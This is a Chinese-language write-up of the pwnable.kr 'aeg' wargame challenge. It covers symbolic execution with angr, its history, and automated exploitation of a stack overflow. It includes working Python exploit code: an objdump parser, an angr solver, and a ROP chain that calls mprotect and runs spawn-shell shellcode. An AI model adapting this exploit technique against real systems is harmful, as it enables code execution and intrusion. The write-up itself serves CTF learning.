pwnable.kr aeg

nc连上给了一个base64编码后的文件,解码后是一个gzip压缩文件,解压后得到amd64的ELF二进制。主函数差不多是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v4; // eax
int v5; // eax
int v6; // eax
char v7[8]; // [rsp+10h] [rbp-20h] BYREF
int i; // [rsp+18h] [rbp-18h]
int v9; // [rsp+1Ch] [rbp-14h]
int v10; // [rsp+20h] [rbp-10h]
int v11; // [rsp+24h] [rbp-Ch]
int v12; // [rsp+28h] [rbp-8h]
int v13; // [rsp+2Ch] [rbp-4h]

if ( a1 == 2 )
{
v4 = sub_914999D(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);
srand(v4);
len = strlen(a2[1]) >> 1;
if ( len <= 1000 )
{
v13 = 0;
v12 = 0;
while ( 2 * len > v13 )
{
v7[0] = a2[1][v13];
v7[1] = a2[1][v13 + 1];
v7[2] = 0;
v5 = v12++;
__isoc99_sscanf(v7, "%02x", &byte_934CFC0[v5]);
v13 += 2;
}
for ( i = 0; i < len; ++i )
{
if ( (_BYTE)v11 == 0xD1 && (_BYTE)v10 == 0x8E && 24 * (_BYTE)v10 + 49 * (_BYTE)v11 - (_BYTE)v9 == 76 )
{
v6 = v9++;
v11 = v6;
}
if ( (i & 1) != 0 )
byte_934CFC0[i] ^= 0x87u;
else
byte_934CFC0[i] ^= 0x18u;
if ( (_BYTE)v11 == 52 && (_BYTE)v10 == 0x8B && 76 * (_BYTE)v10 + 62 * (_BYTE)v11 - (_BYTE)v9 == 73 )
v11 = v10 + v9;
if ( (_BYTE)v11 == 0xDA && (_BYTE)v10 == 118 && 91 * (_BYTE)v10 + 37 * (_BYTE)v11 - (_BYTE)v9 == 80 )
v10 = v11 - v9;
}
puts("payload encoded. let's go!");
sub_9149904(byte_934CFC0[0], byte_934CFC1, byte_934CFC2);
puts("end of program");
return 0LL;
}
else
{
puts("payload length exceeds 1000byte");
return 0LL;
}
}
else
{
puts("usage : ./aeg [hex encoded payload]");
return 0LL;
}
}

byte_934CFC0用来存放最终的用户输入,程序逻辑大致是:读入16进制编码的字节输入,然后将其解码至数组byte_934CFC0中,接着对这个数组做xor再套一层,然后放进函数sub_9149904中执行,sub_9149904中一共套了16层同样的逻辑,大致过程是对数组byte_934CFC0每三字节一组做比较,如果相等则进入下一层。16层比较之后最终会进入这样一个函数:

1
2
3
4
5
6
void *target()
{
char dest[32]; // [rsp+0h] [rbp-20h] BYREF

return memcpy(dest, &unk_934CFF0, len - 48);
}

一个明显的栈溢出漏洞。那么目的很明确了,我们需要让程序通过前面所有的嵌套逻辑到这一步然后getshell。checksec之后发现没开PIE和Canary:

1
2
3
4
5
6
$ checksec chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题思路分为两个部分,首先是构造输入令控制流走到最终导致栈溢出的函数,然后是构造ROP链getshell或ORW。符号执行是解决AEG类pwn的通用工具了(虽然现在逐渐成为时代的眼泪),picoCTF 2024的逆向还出了一道入门符号执行的逆向题。在解题之前,先来看看符号执行的定义以及其发展历史:

符号执行(英语:symbolic execution)是一种计算机科学领域的程序分析技术,通过采用抽象的符号代替精确值作为程序输入变量,得出每个路径抽象的输出结果。这一技术在硬件、底层程序测试中有一定的应用,能够有效的发现程序中的漏洞。

这一思想最初由IBM托马斯·J·华森研究中心的詹姆斯·C.金(James C. King) 于1976年6月在论文Symbolic Execution and Program Testing中提出,文中“解析程序的路径后,用符号模拟通过路径并获得输出”的方法如今被称为“经典符号执行”。由于20世纪80年代的研究追求分析的完备性,而大型程序的路径复杂,不可能完全遍历,符号执行这一研究领域遇冷。21世纪后,该领域研究有了新的进展:2006年,克里斯蒂安·卡达尔(Cristian Cadar)在论文中设计了一种“先进行符号执行,后根据符号执行结果生成测试用例”的“执行生成测试”技术,并随后将其发展为应用在GNU/Linux内核错误检查中的KLEE;2007年,库希克·森(Koushik Sen)在当年的软件工程自动化(Automated Software Engineering)会议提出将符号执行和实际执行结合的“混合执行(Concolic testing)”方法;2009年,维塔利·奇波诺夫(Vitaly Chipounov)提出“选择性符号执行”方法,通过选择“对程序设计者有意义”的执行分支进行符号执行测试来提高对大型程序应用符号执行测试的可行性。

我个人对符号执行的理解是,将每个CFG中的选择分支转换为变量之间的数值关系,这个变量可以是内存的一块区域、寄存器。在目前所有架构的CPU里,其实现条件跳转的逻辑都依赖于寄存器、内存等存储单位中的数值比较,最终反应到FLAGS register完成条件选择。

使用符号执行解AEG类问题绕不开的一个工具就是Angr了,在Angr之前更广为人知的工具是KLEE,虽然现在谷歌关键词klee前面几页大概率只能翻到一个红色小女孩(这就是我们原神的可莉呀,你们有没有这样的可莉呀^_^)。Angr在CTF中发挥稳定且更加可靠,有一个github repo记录了用Angr解题的模板即angr_ctf,其他同期的符号执行引擎比如manticore、PySymEmu逐渐在符号执行的热潮褪去之后(差不多是18、19年)不再维护。让我们来问问可莉为什么用Angr来解题吧。

啊这,她说不知道。确定了使用的工具后,问题就剩下如何用以及怎样拿到我们希望的结果了,首先明确的一点是,我们最终的输入存放在内存byte_934CFC0的这一片区域,之后使用2个字节对其做循环xor编码,并且前48字节需要通过嵌套比较逻辑。main函数的逻辑有很恶心的一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for ( i = 0; i < len; ++i )
{
if ( (_BYTE)v11 == 0xD1 && (_BYTE)v10 == 0x8E && 24 * (_BYTE)v10 + 49 * (_BYTE)v11 - (_BYTE)v9 == 76 )
{
v6 = v9++;
v11 = v6;
}
if ( (i & 1) != 0 )
byte_934CFC0[i] ^= 0x87u;
else
byte_934CFC0[i] ^= 0x18u;
if ( (_BYTE)v11 == 52 && (_BYTE)v10 == 0x8B && 76 * (_BYTE)v10 + 62 * (_BYTE)v11 - (_BYTE)v9 == 73 )
v11 = v10 + v9;
if ( (_BYTE)v11 == 0xDA && (_BYTE)v10 == 118 && 91 * (_BYTE)v10 + 37 * (_BYTE)v11 - (_BYTE)v9 == 80 )
v10 = v11 - v9;
}

如果符号执行的起点在这或者这之前开始,那么就会面临路径爆炸而不可能到达需要约束求解的位置。我们需要符号执行的起点从puts("payload encoded. let's go!");这一行开始,并且提取出用于异或的两个字节,这一行代码在CFG中的位置如下:

可以看到下面紧跟着的就是路径爆炸地狱。我在网上找了一圈如何过滤出程序地址和一些重要的变量如用于xor的字节,得到了两个解决方案,分别是objdump + 正则表达式和radare2 API接口去完成,本着能不学就不学的原则我还是选择了前者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def binary_parse(path: str) -> None:
objdump = subprocess.check_output(f'objdump -d -M intel {path}', shell=True)
objdump = objdump.decode()

start_regex = hex_regex + ':.*<puts@plt>\n ' + hex_regex_match + ':'
start = re.findall(pattern=start_regex, string=objdump)
start = int(start[2], 16)
bin_info['start'] = start

target_regex = hex_regex_match + ':.*call.*<memcpy@plt>'
target = re.findall(pattern=target_regex, string=objdump)
target = int(target[0], 16)
bin_info['target'] = target

buffer_addr_regex = 'rdx,\[rax\+0x' + hex_regex_match
buffer_addr = re.findall(pattern=buffer_addr_regex, string=objdump)
buffer_addr = int(buffer_addr[0], 16)
bin_info['buffer_addr'] = buffer_addr

padding_regex = 'sub.*rsp,0x' + hex_regex_match
padding = re.findall(pattern=padding_regex, string=objdump)
padding = int(padding[0], 16)
bin_info['padding'] = padding

xor_regex = 'xor.*eax,0x' + hex_regex_match
xors = re.findall(pattern=xor_regex, string=objdump)
xor0 = int(xors[0], 16) & 0xFF
xor1 = int(xors[1], 16) & 0xFF
bin_info['xors'] = int.to_bytes(xor0) + int.to_bytes(xor1)

rdx_gadget_regex = hex_regex_match + ':.*mov\s*rdx,QW.*\[rbp-0x' + hex_regex_match
rdx_gadget = re.findall(pattern=rdx_gadget_regex, string=objdump)
rdx_gadget_addr = int(rdx_gadget[0][0], 16)
rdx_gadget_offset = int(rdx_gadget[0][1], 16)
bin_info['rdx_gadget_addr'] = rdx_gadget_addr
bin_info['rdx_gadget_offset'] = rdx_gadget_offset

VSCode的正则表达式匹配立大功,基本上能很快的按图索骥得到需要的正则式。这里涉及了很多必要的变量,比如存放输入的内存地址,预期符号执行的起点和终点,给rdx赋值的ROPGadget以及rsp的无效填充偏移量,提取出必要的信息后就需要让angr发挥作用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def angr_solver(path: str) -> bytes:
proj = angr.Project(path)
init = proj.factory.blank_state(
addr=bin_info['start'],
add_options={
angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS,
},
)
buffer = claripy.BVS('buffer', 48 * 8)
init.memory.store(bin_info['buffer_addr'], buffer)
simu = proj.factory.simgr(init)
simu.use_technique(angr.exploration_techniques.DFS())
simu.explore(find=bin_info['target'])
if simu.found:
solution = simu.found[0]
payload = solution.solver.eval(buffer, cast_to=bytes)
return payload

写出来并不难,参照一下angr_ctf的模板以及将内存符号化就行。最后就是ROP链的构造了,这个过程涉及到栈迁移以及偏移量的计算,整个调试和设计栈的过程只能用折磨两个字形容。注意到plt表中是有mprotect的,所以也没必要ret2libc了,直接改内存权限为RWX就行,最后跳转到shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def exp_craft(path: str, padding: bytes) -> str:
exe = ELF(path)

payload = b''
payload += padding
payload += cyclic(bin_info['padding'])
payload += p64(
bin_info['buffer_addr']
+ 80
+ bin_info['rdx_gadget_offset']
+ bin_info['padding']
)
payload += p64(bin_info['rdx_gadget_addr'])
payload += p64(0)
payload += p64(0x10000)
# len -> rsi: 0x10000
payload += p64(7)
# prot -> rdx: PROT_READ | PROT_WRITE | PROT_EXEC
payload += p64(bin_info['buffer_addr'] & 0xFFFFFFFFFFFFF000)
# addr -> rdi: buffer address
payload += cyclic(bin_info['rdx_gadget_offset'] - 8)
payload += p64(exe.plt['mprotect'])
payload += p64(
bin_info['buffer_addr']
+ 104
+ bin_info['rdx_gadget_offset']
+ bin_info['padding']
)
payload += asm(shellcraft.sh())

payload = xor(bin_info['xors'], payload)
return payload.hex()

我参考了很多wangray的题解,但是偏移量和实际利用时是有些差异的,好在栈迁移的调试过程还算顺利。

终于结束了恶心的aeg。